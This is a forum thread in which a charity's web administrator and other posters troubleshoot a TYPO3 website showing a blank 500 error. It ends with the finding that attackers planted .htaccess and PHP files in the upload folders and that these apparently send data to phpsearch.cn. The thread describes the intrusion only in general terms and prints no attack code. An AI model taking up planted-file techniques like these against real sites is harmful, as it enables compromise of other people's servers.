Web site has disappeared....

    I just noticed that our website at suas.ie has disappeared. All was working well, and we haven't made any changes to anything.

    Obviously, the first thing to do in the morning is to get on to the hosting company and our web developers, but can I do anything tonight to try and pinpoint the problem?

    Here's what I know:
    suas.ie is loading white pages - 500 Internal error
    It's not responding to pings 78.137.166.5 (Shared IP)

    This makes me think it's a problem with our hosts - I can't get a ping reply from web6.hosting.digiweb.ie either (turns out it's the same IP)

    So, it looks like there's nothing I can do except wait til morning. That right?

    EDIT: Using http://www.yougetsignal.com/tools/web-sites-on-web-server/ I can see a list of all the other websites that are on that shared hosting server and the ones I checked seem to load up fine. So, maybe there isn't an issue with the hosting at all.

    Any tips on how to find out where the problem is, please?

    When you call up your a site and all you get is a blank page, it usually means that an error occured with your PHP and is configured not to display any error messages.

    The error could be in you configuration.php page if you have a back up you could try reloading that or it could a error trying to connect to your data base, normally when this happens to me it's because I've left a comma or apostrophe out.

    Is their a debug mode in the admin panel ?

    What software was the website running on?


  • Closed Accounts Posts: 1,200 ✭✭✭louie


    It looks like some problems with the code.
    Have you made any changes lately?


  • Closed Accounts Posts: 89 ✭✭suas


    It's a typo3 site - which does use PHP, so what you're suggesting makes sense.

    I can't find a debug mode in the H-sphere control panel.

    It's weird that this just happened - we weren't working on the back end at all, so I'm a little worried that it might have been hacked or something.

    :eek: but mostly :confused:


  • Closed Accounts Posts: 1,200 ✭✭✭louie


    If it was a hack there will be something in the source code, but your page is totally blank which means there is some bad php code breaking the website somewhere in the header.

    Google has a cache of the website since the 3rd of this month so anything you did after that up to today (like an upgrade, add-on)?


  • Closed Accounts Posts: 89 ✭✭suas


    I'd understand that if we'd done any work on that side of things in the past little while - but no, we haven't. As it happens, I don't think anyone has even made any changes to text via the CMS in the past 4 days. odd....

    I can't reconcile that with the fact that suas.ie isn't responding to pings - is that a symptom of a PHP problem?

    That's actually very weird.
    Did you get in touch with the hosting provider (digiweb.ie)?


  • Closed Accounts Posts: 89 ✭✭suas


    Only just this morning, took a little while to get through (kept going to voicemail instead of a call queueing system)... and they're looking into it.

    I don't know much about this area - but I suspect the problem has something to do with PHP on the server, because we didn't make any changes to our site and none of the other sites that I checked on the shared hosting server seemed to be using PHP.

    I'll know soon enough, the call was passed on to someone at the next level of tech support and they're looking into it.

    It's a curious one, some of the symptoms would suggest that everything is fine with the hosting - http://suas.ie/Helloworld.html is fine -, but others like the ping problem tell me I've got a problem there.

    Thanks for the advice so far. If you're interested, I could post updates.

    EDIT: Digiweb got back to us to say that their tests show no problem at all between PHP and the database and the reason that we can't ping the site is because ICMP traffic is turned off (so no-one can ping the site, at all) and that the problem is up to my developers to solve.

    They're working on it. What's most confusing is that no-one has made any changes to anything lately, and it just stopped working last night. Bizzare. The developers are very busy, if anyone can save them time by suggesting what to investigate I'd be very grateful.

    Look for the .htacess file. Create a backup, then add these lines of code in at the top of the file (open with text editor)
        php_flag    display_errors          on
        php_flag    display_startup_errors  on
        php_value   error_reporting         2047
    

    That should show you your errors. This may not be a hosting problem...


  • Closed Accounts Posts: 89 ✭✭suas


    I'll do that to the htaccess file now, thanks.

    Yeah - I'm not sure it's anything to do with our hosts at all (from their point of view, they only know about it an hour and a half, since 9am Monday, and they've already escalted it and gotten back to me), I'm just trying to get to the bottom of this problem so that I know who I can ask for help.

    I just looked at your website suas.ie and it comes up as a blank white screen. I then went to a broswer and typed in the name of the site and clicked on it from there, still same result, then I checked cached and it comes up on that only.

    It is obviously your web host that is the cause of the site malfunction. I hope your problem gets resolved soon.

    Good luck

    I also looked up a web browser. Some one else has same problem as yourself.

    Here is a link. Maybe the answers there may be of help to you.

    I just noticed you have HTML pages on there aswell, this shouldn't be affected if there was an error in the PHP. I had a quick skim over it with firebug, it comes up as a 500 Internal Server Error, this error has nothing to do with the client-side and the error is on the hosting side. I'd advise getting on to your hosts again and tell them you're getting a 500 internal server error...


  • Closed Accounts Posts: 89 ✭✭suas


    I'll get on to them, but they don't think it's something on their end.

    My simple simple html test page is loading up fine. http://suas.ie/Helloworld.html

    I've made those changes to the .htaccess file that you suggested - did they have any effect?

    Also, I looked at the error logs in the control panel and perhaps it's normal (first time I've looked at it, but there are just a steady stream of 'file does not exist' requests

    They all relate to your message board:

    http://suas.ie/vbulletin/

    That's working fine so the errors shouldn't affect the rest of your website!

    Did you make any changes to the server. i.e website changes, installation of an application?


  • Closed Accounts Posts: 89 ✭✭suas


    Nothing.

    Our developer haven't been working on the site (it's only them that would install an application etc) in the past month and all we do on our end is simple changes via the CMS and we haven't even made any of them in the past few days - the site just died yesterday and the last change was made on Thursday afaik.

    That's what made me think it might have been hacked - or else maybe something just got corrupted on the server?

    EDIT: http://www.suas.ie/phpinfo.php is working fine if that tells you anything!

    It may be nothing but this file

    PS you might want to turn directory listing off in hsphere.

    Can you log into the backend?

    PS you might want to turn directory listing off in hsphere.

    As far as I remember, that's very close to the last time that we made a change (new image on the front page) via the CMS, so perhaps that explains that change.

    As for the directory listing - I'll look for the setting thanks for the tip. What a crash course!!

    stevire - No I can't log into the backend, we normally get into the CMS from http://suas.ie/typo3 and it just gives the same white page.

    I can get into the ftp though.

    EDIT: At the moment, the developer is going to reinstall the CMS application to see if that fixes it. fingers crossed!

    Just for some context for people that might have been following this thread.

    We are an education charity and get some very generous donations of services from both our hosting company and our developers, so the object of this thread was to try and troubleshoot as much as possible before involving them.

    As it happened, this is a complicated problem - some people suggesting that it was certainly a hosting issue and others full sure it wasn't. I hope that the exchange is useful for other people to learn from. (that's assuming that we're able to fix it!!)


  • Registered Users Posts: 4,386 ✭✭✭EKRIUQ


    Just one more thought, I've seen this happening before to a busy website, The cache can only take so many entries and if it gets full it needs to be emptied as it went over the hosting companies limit and would explain the blank page across the site. Might be worth deleting the cache.


  • Closed Accounts Posts: 89 ✭✭suas


    Our developers have just found that there is a more sinister cause, unfortunately. I've been notifiying the hosting company and reading up about it.

    http://www.romantika.name/v2/upload-folder-invasions-and-security/

    "There were supposed to be image, pdf, and video files in the upload folders but there were also .htaccess and PHP files in the main upload folder and each of the subfolders."

    What's particularly annoying about this is that I noticed those new .htaccess and PHP files in each folder when I was doing some FTP a while ago and thought that they were innocuous. I didn't remember seeing them before, but I innocently assumed that they were an artefact of moving to a new host. Never thought that it might be a sign of some script invading our space! BOLL1X

    EDIT: It's a bit of a mystery why someone would carry out this attack. What's in it for them?

    It seems like they hack our site and get it to send some info to phpsearch.cn if someone makes a request that creates a 404 and then they send a load of spurious requests, creating all those 404s. So obviously they have to be making money out of it somehow, but how?!

    EDIT2 - the contents of one of those php files.
